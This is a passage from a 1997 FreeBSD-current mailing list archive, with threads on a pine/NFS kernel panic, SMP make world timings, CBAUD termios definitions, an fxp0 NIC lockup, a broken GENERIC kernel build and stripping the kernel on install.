10:25:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA23916 for current-outgoing; Thu, 20 Nov 1997 10:25:30 -0800 (PST) (envelope-from owner-freebsd-current) Received: from helmholtz.salk.edu (helmholtz.salk.edu [198.202.70.34]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA23885 for ; Thu, 20 Nov 1997 10:25:17 -0800 (PST) (envelope-from bartol@salk.edu) Received: from dale.salk.edu (dale [198.202.70.112]) by helmholtz.salk.edu (8.7.5/8.7.3) with SMTP id KAA22512 for ; Thu, 20 Nov 1997 10:25:02 -0800 (PST) Date: Thu, 20 Nov 1997 10:25:02 -0800 (PST) From: Tom Bartol To: freebsd-current@freebsd.org Subject: Pine crashes -current with page fault while in kernel mode Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I've been seeing this crash for a while now but only yesterday was I finally able to see useful output on the console and get into ddb to help track this one down. I'm running -current as of 11/19 (~21:00 PST) on a 300MHz Pentium II with 128 MB RAM, 2940UW SCSI, and Intel EtherExpress Pro/100B. Pine will reliably crash my system while scrolling through any long e-mail message that I am in the process of composing (and never while viewing any long messages that I have received). This occurs regardless of whether pine is running in an xterm or vt. /var/mail is an NFSv3 mounted filesystem located on an Auspex fileserver (network is fully switched 100BaseT/full-duplex, not trying to brag but it is very nice!). I'm not a ddb wiz but I was able to write down on paper the following info from ddb following the crash: panic: vm_fault: fault on nofault entry, addr: f35b3000 Dubugger("panic") Stopped at _Debugger+0x35: movb $0,_in_Debugger.98 Fatal trap 12: page fault while in kernel mode fault virtual address = 0x65007870 fault code = supervisor read, page not present instruction pointer = 0x8:0xf01b3380 stack pointer = 0x10:0xf540aab8 frame pointer = 0x10:0xf540aac8 code segment = base 0x10, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 229 (pine) interrupt mask = kernel: type 12 trap, code = 0 Stopped at _Debugger+0x35: movb $0,_in_Debugger.98 a "show trace" seemed to indicate the trap occurred just after an nfs_write. If there are any commands I could execute in ddb to get additional useful information about the crash please let me know so I can help get this one fixed! Many thanks for your help, Tom From owner-freebsd-current Thu Nov 20 12:54:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA06479 for current-outgoing; Thu, 20 Nov 1997 12:54:45 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ctown.sprintlink.co.za (ctown.sprintlink.co.za [206.48.89.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA06461 for ; Thu, 20 Nov 1997 12:54:34 -0800 (PST) (envelope-from bellevue@sprintlink.co.za) Received: from sprintlink.a.za by ctown.sprintlink.co.za with ESMTP id WAA08700; (8.8.2-MVC-281096/SprintLink-CapeTown) Thu, 20 Nov 1997 22:45:04 +0200 (SAT) Message-Id: <199711202045.WAA08700@ctown.sprintlink.co.za> From: "Jan Jooste" To: Subject: Mailing List Date: Thu, 20 Nov 1997 22:45:24 +0200 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, my name is Jan Jooste and I maintain a Javelin throwing site, the URL is listed below. I would like to create a mailing list to create a discussion group for javelin throwers around the world. Jan Jooste bellevue@sprintlink.co.za The Javelin http://www-ct.sprintlink.co.za/~bellevue/javelin/index.html From owner-freebsd-current Thu Nov 20 14:02:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA12252 for current-outgoing; Thu, 20 Nov 1997 14:02:30 -0800 (PST) (envelope-from owner-freebsd-current) Received: from pat.idi.ntnu.no (0@pat.idi.ntnu.no [129.241.103.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA12217 for ; Thu, 20 Nov 1997 14:02:15 -0800 (PST) (envelope-from Tor.Egge@idi.ntnu.no) Received: from idi.ntnu.no (tegge@ikke.idi.ntnu.no [129.241.111.65]) by pat.idi.ntnu.no (8.8.8/8.8.8) with ESMTP id WAA13101; Thu, 20 Nov 1997 22:00:19 +0100 (MET) Message-Id: <199711202100.WAA13101@pat.idi.ntnu.no> To: sos@FreeBSD.dk Cc: jkh@time.cdrom.com, hasty@rah.star-gate.com, toor@dyson.iquest.net, sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG Subject: Re: make world time???/ In-Reply-To: Your message of "Mon, 17 Nov 1997 08:32:10 +0100 (MET)" References: <199711170732.IAA09348@sos.freebsd.dk> X-Mailer: Mew version 1.70 on Emacs 19.34.1 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 20 Nov 1997 22:00:18 +0100 From: Tor Egge Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Same observation here, I just went dual on my P6 system, and > it hardly got any better in a make world. I notice that it spends > ALOT of its time in system, so our megalock might be the culprit... This is due to how CPU usage accounting is currently handled. 5 make worlds gave the following result with a dual P6 machine: make.world1: 9950.08 real 1818.02 user 7944.37 sys make.world2: 9995.30 real 1857.03 user 7778.47 sys make.world3: 9840.08 real 1736.67 user 7857.49 sys make.world4: 9823.49 real 1726.97 user 7874.01 sys make.world5: 9839.31 real 1731.59 user 7861.62 sys After some changes to statclock and hardclock, I got more reasonable numbers: make.world1: 9941.28 real 5616.14 user 3932.16 sys make.world2: 9914.21 real 5632.65 user 3973.46 sys make.world3: 9779.39 real 5621.38 user 3939.89 sys make.world4: 9770.91 real 5622.68 user 3942.34 sys - Tor Egge From owner-freebsd-current Thu Nov 20 14:05:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA12429 for current-outgoing; Thu, 20 Nov 1997 14:05:48 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (s204m101.whistle.com [207.76.204.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA12414 for ; Thu, 20 Nov 1997 14:05:40 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id IAA00371; Fri, 21 Nov 1997 08:25:08 +1030 (CST) Message-Id: <199711202155.IAA00371@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Thomas Dean cc: abial@korin.warman.org.pl, freebsd-current@freebsd.org Subject: Re: CBAUD missing? In-reply-to: Your message of "Thu, 20 Nov 1997 10:16:35 -0800." <199711201816.KAA00483@ix.netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 21 Nov 1997 08:25:07 +1030 From: Mike Smith Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I have the same problem. I downloaded termios.h from a Linux site. I > use the following: > > #define OLCUC 0000002 > #define OCRNL 0000010 > #define IUCLC 0001000 > #define CBAUD 0010017 > #define XCASE 0000004 > > At that time, I asked for these to be included in out termios.h. No > response. > > So, How about it? Can we have all the serial-related definitions in > -current's termios.h? No. Software using CBAUD should be fixed. FreeBSD should not be broken. If you want a basic explanation as to why CBAUD is broken, ask me offline. If you want a longer explanation, ask Bruce. mike From owner-freebsd-current Thu Nov 20 20:07:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA09211 for current-outgoing; Thu, 20 Nov 1997 20:07:33 -0800 (PST) (envelope-from owner-freebsd-current) Received: from lamb.sas.com (root@lamb.sas.com [192.35.83.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA09203 for ; Thu, 20 Nov 1997 20:07:23 -0800 (PST) (envelope-from jwd@unx.sas.com) Received: from mozart (markham.southpeak.com [192.35.83.31]) by lamb.sas.com (8.8.7/8.8.7) with SMTP id XAA19934; Thu, 20 Nov 1997 23:07:09 -0500 (EST) Received: from iluvatar.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA24779; Thu, 20 Nov 1997 23:07:09 -0500 From: "John W. DeBoskey" Received: by iluvatar.unx.sas.com (5.65c/SAS/Generic 9.01/3-26-93) id AA10760; Thu, 20 Nov 1997 23:07:08 -0500 Message-Id: <199711210407.AA10760@iluvatar.unx.sas.com> Subject: Re: fxp0 causes machine lockup To: dg@root.com Date: Thu, 20 Nov 1997 23:07:08 -0500 (EST) Cc: freebsd-current@freebsd.org In-Reply-To: <199711180936.BAA12735@implode.root.com> from "David Greenman" at Nov 18, 97 01:36:32 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, With respect to the following problem, the solution came from an unexpected location. I asked our hardware support folks for a 2nd motherboard to see if the problem was specific to the hardware. Before getting the new MB, they suggested I upgrade the bios on my machine... I said sure, thinking FreeBSD doesn't use the bios, what could happen? Dell OptiPlex PPro 200 with bios rev A00(Phoenix) flashed to A08. The problem went away. Could someone give me a short explanation of how the bios update could fix my apparent dma problem? Does the bios assign dma channels or something associated? Anyways, I have now tested rev 0, 2, & 4 fxp NICs with complete success. Thanks! John ps: I'm going to try using the kernel debugger to make sure that part of the following problem went away also... > > >in /sys/pci/if_fxp.c the following fragment from fxp_init() > >appears to be the problem: > > > > /* > > * Start the config command/DMA. > > */ > > fxp_scb_wait(sc); > > CSR_WRITE_4(sc, FXP_CSR_SCB_GENERAL, vtophys(cbp)); > > CSR_WRITE_1(sc, FXP_CSR_SCB_COMMAND, FXP_SCB_COMMAND_CU_START); > > /* ...and wait for it to complete. */ > > while (!(cbp->cb_status & FXP_CB_STATUS_C)); > > > > The fxp_scb_wait, CSR_WRITE_4 and CSR_WRITE_1 calls (appear to) > >work correctly. What I cannot find is the location in the code where > >the FXP_CB_STATUS_C bit is set in a (interrupt?) routine. Nor can I > >break into DDB at this point. > > The "FXP_CB_STATUS_C" flag is set by the Pro/100B DMA engine when the > processing of the command descriptor has completed. Network interrupts are > disabled at that point, so none are expected. I would guess that it is > hanging when DMA is started and not in the while loop after it. > I noticed this: > > >fxp0: rev 0x04 int a irq 14 on pci1.9.0 > >fxp0: Ethernet address 00:a0:c9:8b:09:a5 > > "rev 0x04"...hmmm. I haven't see a rev that high on the 82557 - perhaps > your card is an 82558 based Pro/100+? That should still work just fine, but > I haven't specifically tested it in FreeBSD. > > >built and installed the new kernel. When rebooting, I specified the > >-d option to bring up the kernel debugger. I then specified: > > > >b fxp_init > >c > > > > and the system panic'd in the bounce buffer code saying it could not > >malloc enough memory.. Ok, well, I don't need bounce buffers on my > >machine, so I removed options BOUNCE_BUFFERS from GENERIC and once > >again rebuilt & installed. Again I rebooted and specified -d and > >issued the break & continue commands. > > > > This time, a series of "Could not malloc" messages went by, but > >none stopped the system. Finally, it got to the point where is wanted > >to mount the root filesystem. It said it could not mount the root > >filesystem and hung. > > Strange. I can't explain that, but I'd say it was indicating something > seriously bad happened. Did you remove any other options or make any other > changes to the config file? Does the new kernel boot without the "-d"? > > -DG > > David Greenman > Core-team/Principal Architect, The FreeBSD Project > -- jwd@unx.sas.com (w) John W. De Boskey (919) 677-8000 x6915 From owner-freebsd-current Thu Nov 20 20:35:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA11074 for current-outgoing; Thu, 20 Nov 1997 20:35:46 -0800 (PST) (envelope-from owner-freebsd-current) Received: from lamb.sas.com (root@lamb.sas.com [192.35.83.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA11069 for ; Thu, 20 Nov 1997 20:35:43 -0800 (PST) (envelope-from jwd@unx.sas.com) Received: from mozart (wether.sas.com [192.35.83.7]) by lamb.sas.com (8.8.7/8.8.7) with SMTP id XAA23530 for ; Thu, 20 Nov 1997 23:35:40 -0500 (EST) Received: from iluvatar.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA26803; Thu, 20 Nov 1997 23:35:39 -0500 From: "John W. DeBoskey" Received: by iluvatar.unx.sas.com (5.65c/SAS/Generic 9.01/3-26-93) id AA10844; Thu, 20 Nov 1997 23:35:39 -0500 Message-Id: <199711210435.AA10844@iluvatar.unx.sas.com> Subject: Raid support in 3.0? To: freebsd-current@freebsd.org Date: Thu, 20 Nov 1997 23:35:38 -0500 (EST) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, I've scanned the FAQ & handbook, and also the src tree looking for clues to any scsi adapters where RAID is supported. So far, I'm coming up empty handed. Could someone please give me some pointers to any scsi RAID adapters supported by FreeBSD? Thanks, John -- jwd@unx.sas.com (w) John W. De Boskey (919) 677-8000 x6915 From owner-freebsd-current Thu Nov 20 21:01:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA12614 for current-outgoing; Thu, 20 Nov 1997 21:01:21 -0800 (PST) (envelope-from owner-freebsd-current) Received: from pop.uniserve.com (pop.uniserve.com [204.244.156.3]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA12609 for ; Thu, 20 Nov 1997 21:01:13 -0800 (PST) (envelope-from tom@uniserve.com) Received: from shell.uniserve.com [204.244.210.252] by pop.uniserve.com with smtp (Exim 1.73 #1) id 0xYlDE-0004mj-00; Thu, 20 Nov 1997 21:01:04 -0800 Date: Thu, 20 Nov 1997 21:01:00 -0800 (PST) From: Tom To: "John W. DeBoskey" cc: dg@root.com, freebsd-current@freebsd.org Subject: Re: fxp0 causes machine lockup In-Reply-To: <199711210407.AA10760@iluvatar.unx.sas.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 20 Nov 1997, John W. DeBoskey wrote: > Hi, > > With respect to the following problem, the solution came from > an unexpected location. > > I asked our hardware support folks for a 2nd motherboard to see > if the problem was specific to the hardware. Before getting the > new MB, they suggested I upgrade the bios on my machine... I said > sure, thinking FreeBSD doesn't use the bios, what could happen? Errr... generally this is CMOS upgrade, of which the BIOS is a part of. Such upgrades can affect kinds of things. Motherboard chipsets have a lot of "soft" settings, and motherboards typically have a lot of onboard CMOS these days to hold this software. For example, you can add support for the AMD K6 to some motherboards via a CMOS upgrade. Tom From owner-freebsd-current Thu Nov 20 23:23:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19570 for current-outgoing; Thu, 20 Nov 1997 23:23:48 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA19564 for ; Thu, 20 Nov 1997 23:23:44 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 2123 invoked from network); 21 Nov 1997 07:23:41 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 21 Nov 1997 07:23:41 -0000 Date: Fri, 21 Nov 1997 02:23:40 -0500 (EST) From: Evan Champion To: freebsd-current@freebsd.org Subject: Stripping the kernel Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone else thing this might be a good idea? Change /sys/i386/conf/Makefile.i386's install line to: install -s -c -m 555 -o root -g wheel -fschg kernel / The reason is this: I compiled a kernel with debug symbols (-g) and it tried to install an 8 MB kernel; stripped, it was 800k. Evan From owner-freebsd-current Thu Nov 20 23:48:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA21149 for current-outgoing; Thu, 20 Nov 1997 23:48:24 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA21144 for ; Thu, 20 Nov 1997 23:48:19 -0800 (PST) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.8/8.8.8) id IAA23176; Fri, 21 Nov 1997 08:48:20 +0100 (MET) (envelope-from sos) Message-Id: <199711210748.IAA23176@sos.freebsd.dk> Subject: Re: make world time???/ In-Reply-To: <199711202100.WAA13101@pat.idi.ntnu.no> from Tor Egge at "Nov 20, 97 10:00:18 pm" To: Tor.Egge@idi.ntnu.no (Tor Egge) Date: Fri, 21 Nov 1997 08:48:20 +0100 (MET) Cc: sos@FreeBSD.dk, jkh@time.cdrom.com, hasty@rah.star-gate.com, toor@dyson.iquest.net, sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG From: Søren Schmidt Reply-to: sos@FreeBSD.dk X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Tor Egge who wrote: > > Same observation here, I just went dual on my P6 system, and > > it hardly got any better in a make world. I notice that it spends > > ALOT of its time in system, so our megalock might be the culprit... > > This is due to how CPU usage accounting is currently handled. > > After some changes to statclock and hardclock, I got more reasonable numbers: > - Tor Egge You have those changes in a patch'able state ?? maybe we should look closer at them .... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-current Fri Nov 21 00:48:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA24018 for current-outgoing; Fri, 21 Nov 1997 00:48:31 -0800 (PST) (envelope-from owner-freebsd-current) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA24009 for ; Fri, 21 Nov 1997 00:48:24 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id AAA03182 for ; Fri, 21 Nov 1997 00:48:52 -0800 (PST) To: current@freebsd.org Subject: -current GENERIC kernel is broken.. Date: Fri, 21 Nov 1997 00:48:52 -0800 Message-ID: <3178.880102132@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk ../../i386/i386/autoconf.c: In function `setdumpdev': ../../i386/i386/autoconf.c:404: warning: implicit declaration of function `dkpart' ../../i386/i386/autoconf.c:404: `SWAP_PART' undeclared (first use this function) ../../i386/i386/autoconf.c:404: (Each undeclared identifier is reported only once ../../i386/i386/autoconf.c:404: for each function it appears in.) From owner-freebsd-current Fri Nov 21 00:55:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA24411 for current-outgoing; Fri, 21 Nov 1997 00:55:32 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (s204m107.whistle.com [207.76.204.107]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA24404 for ; Fri, 21 Nov 1997 00:55:29 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id TAA00464; Fri, 21 Nov 1997 19:20:40 +1030 (CST) Message-Id: <199711210850.TAA00464@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Evan Champion cc: freebsd-current@FreeBSD.org Subject: Re: Stripping the kernel In-reply-to: Your message of "Fri, 21 Nov 1997 02:23:40 CDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 21 Nov 1997 19:20:40 +1030 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Does anyone else thing this might be a good idea? > > Change /sys/i386/conf/Makefile.i386's install line to: > > install -s -c -m 555 -o root -g wheel -fschg kernel / > > The reason is this: I compiled a kernel with debug symbols (-g) and it > tried to install an 8 MB kernel; stripped, it was 800k. No. If you build a kernel with debug symbols, it is expected that you realise how big it is, and strip it if required before installing it. I will quite often boot full-debug kernels just to get line numbers and filenames from crashes that can't be cored from; this would be very annoying for that sort of thing. mike From owner-freebsd-current Fri Nov 21 01:04:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA25119 for current-outgoing; Fri, 21 Nov 1997 01:04:17 -0800 (PST) (envelope-from owner-freebsd-current) Received: from www.giovannelli.it (www.giovannelli.it [194.184.65.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA25112 for ; Fri, 21 Nov 1997 01:04:08 -0800 (PST) (envelope-from gmarco@giovannelli.it) Received: from giovannelli.it (ts3port9d.masternet.it [194.184.65.173]) by www.giovannelli.it (8.8.8/8.8.5) with ESMTP id KAA00337 for ; Fri, 21 Nov 1997 10:08:58 +0100 (MET) Message-ID: <34755D10.74ECA1DC@giovannelli.it> Date: Fri, 21 Nov 1997 10:06:08 +0000 From: Gianmarco Giovannelli Reply-To: gmarco@giovannelli.it X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: current@freebsd.org Subject: Problems with kernel ? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk After cvsupped yesterday night and after the conseguent make world I was not able to make a kernel anymore... The last error I have for the desktop is : ed -nostdinc -I- -I. -I../.. -I../../../include -DCOMPAT_43 -DMSDOSFS -DNFS -DF FS -DINET -DKERNEL -include opt_global.h ../../i386/i386/autoconf.c ../../i386/i386/autoconf.c: In function `setdumpdev': ../../i386/i386/autoconf.c:404: warning: implicit declaration of function `dkpart' ../../i386/i386/autoconf.c:404: `SWAP_PART' undeclared (first use this function) ../../i386/i386/autoconf.c:404: (Each undeclared identifier is reported only once ../../i386/i386/autoconf.c:404: for each function it appears in.) *** Error code 1 While for the laptop it complains about something missing in the pccard tools . Is it a problem only mine or is it a known thing ? I cvsupped this night too, but the music is the same... Thanks for attention (and patience:-) -- Regards... Gianmarco "Unix expert since yesterday" http://www2.masternet.it From owner-freebsd-current Fri Nov 21 01:39:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA27109 for current-outgoing; Fri, 21 Nov 1997 01:39:02 -0800 (PST) (envelope-from owner-freebsd-current) Received: from korin.warman.org.pl (korin.nask.waw.pl [148.81.160.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA27104 for ; Fri, 21 Nov 1997 01:38:58 -0800 (PST) (envelope-from abial@korin.warman.org.pl) Received: from localhost (abial@localhost) by korin.warman.org.pl (8.8.8/8.8.5) with SMTP id KAA12187 for ; Fri, 21 Nov 1997 10:41:19 +0100 (CET) Date: Fri, 21 Nov 1997 10:41:18 +0100 (CET) From: Andrzej Bialecki To: freebsd-current@freebsd.org Subject: Re: CBAUD missing? In-Reply-To: <199711202155.IAA00371@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 21 Nov 1997, Mike Smith wrote: > > I have the same problem. I downloaded termios.h from a Linux site. I > > use the following: > > > > #define OLCUC 0000002 > > #define OCRNL 0000010 > > #define IUCLC 0001000 > > #define CBAUD 0010017 > > #define XCASE 0000004 > > > > At that time, I asked for these to be included in out termios.h. No > > response. > > > > So, How about it? Can we have all the serial-related definitions in > > -current's termios.h? > > No. Software using CBAUD should be fixed. FreeBSD should not be > broken. If you want a basic explanation as to why CBAUD is broken, ask > me offline. If you want a longer explanation, ask Bruce. Thanks for clarification, and for the #defines. Andrzej Bialecki ---------------------+--------------------------------------------------------- abial@warman.org.pl | if(halt_per_mth > 0) { fetch("http://www.freebsd.org") } Research & Academic | "Be open-minded, but don't let your brains to fall out." Network in Poland | All of the above (and more) is just my personal opinion. ---------------------+--------------------------------------------------------- From owner-freebsd-current Fri Nov 21 02:04:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA28636 for current-outgoing; Fri, 21 Nov 1997 02:04:26 -0800 (PST) (envelope-from owner-freebsd-current) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA28629 for ; Fri, 21 Nov 1997 02:04:21 -0800 (PST) (envelope-from bde@zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.6.9) id VAA01006; Fri, 21 Nov 1997 21:00:19 +1100 Date: Fri, 21 Nov 1997 21:00:19 +1100 From: Bruce Evans Message-Id: <199711211000.VAA01006@godzilla.zeta.org.au> To: evanc@synapse.net, mike@smith.net.au Subject: Re: Stripping the kernel Cc: freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> Does anyone else thing this might be a good idea? >> >> Change /sys/i386/conf/Makefile.i386's install line to: >> >> install -s -c -m 555 -o root -g wheel -fschg kernel / >> >> The reason is this: I compiled a kernel with debug symbols (-g) and it >> tried to install an 8 MB kernel; stripped, it was 800k. > >No. If you build a kernel with debug symbols, it is expected that you >realise how big it is, and strip it if required before installing it. Also, full stripping breaks everything that uses nlist(3) on the kernel. strip(1) supports several forms of partial stipping, but install(1) only supports full stripping. Bruce From owner-freebsd-current Fri Nov 21 02:45:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA00294 for current-outgoing; Fri, 21 Nov 1997 02:45:58 -0800 (PST) (envelope-from owner-freebsd-current) Received: from critter.freebsd.dk ([195.8.128.125]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA00283 for ; Fri, 21 Nov 1997 02:45:53 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id LAA01453; Fri, 21 Nov 1997 11:43:51 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Bruce Evans cc: evanc@synapse.net, mike@smith.net.au, freebsd-current@FreeBSD.ORG Subject: Re: Stripping the kernel In-reply-to: Your message of "Fri, 21 Nov 1997 21:00:19 +1100." <199711211000.VAA01006@godzilla.zeta.org.au> Date: Fri, 21 Nov 1997 11:43:50 +0100 Message-ID: <1451.880109030@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199711211000.VAA01006@godzilla.zeta.org.au>, Bruce Evans writes: >>> Does anyone else thing this might be a good idea? >>> >>> Change /sys/i386/conf/Makefile.i386's install line to: >>> >>> install -s -c -m 555 -o root -g wheel -fschg kernel / >>> >>> The reason is this: I compiled a kernel with debug symbols (-g) and it >>> tried to install an 8 MB kernel; stripped, it was 800k. >> >>No. If you build a kernel with debug symbols, it is expected that you >>realise how big it is, and strip it if required before installing it. > >Also, full stripping breaks everything that uses nlist(3) on the kernel. >strip(1) supports several forms of partial stipping, but install(1) only >supports full stripping. I have been thinking about adding a "strip -d kernel" before installing to the makefile... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Fri Nov 21 06:55:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA12577 for current-outgoing; Fri, 21 Nov 1997 06:55:17 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id GAA12571 for ; Fri, 21 Nov 1997 06:55:13 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 11731 invoked from network); 21 Nov 1997 14:55:05 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 21 Nov 1997 14:55:05 -0000 Date: Fri, 21 Nov 1997 09:55:04 -0500 (EST) From: Evan Champion To: Poul-Henning Kamp cc: Bruce Evans , mike@smith.net.au, freebsd-current@FreeBSD.ORG Subject: Re: Stripping the kernel In-Reply-To: <1451.880109030@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 21 Nov 1997, Poul-Henning Kamp wrote: > I have been thinking about adding a "strip -d kernel" before installing > to the makefile... I never thought of nlist() reading the symbols out of the kernel... What BSD/OS does is link the kernel, then copy it to kernel.gdb, then strip -d kernel, then install it. That way you keep an un-stripped copy around to debug with. That might work out well for us too. Evan From owner-freebsd-current Fri Nov 21 08:09:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA17679 for current-outgoing; Fri, 21 Nov 1997 08:09:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from d198-232.uoregon.edu (d198-232.uoregon.edu [128.223.198.232]) by 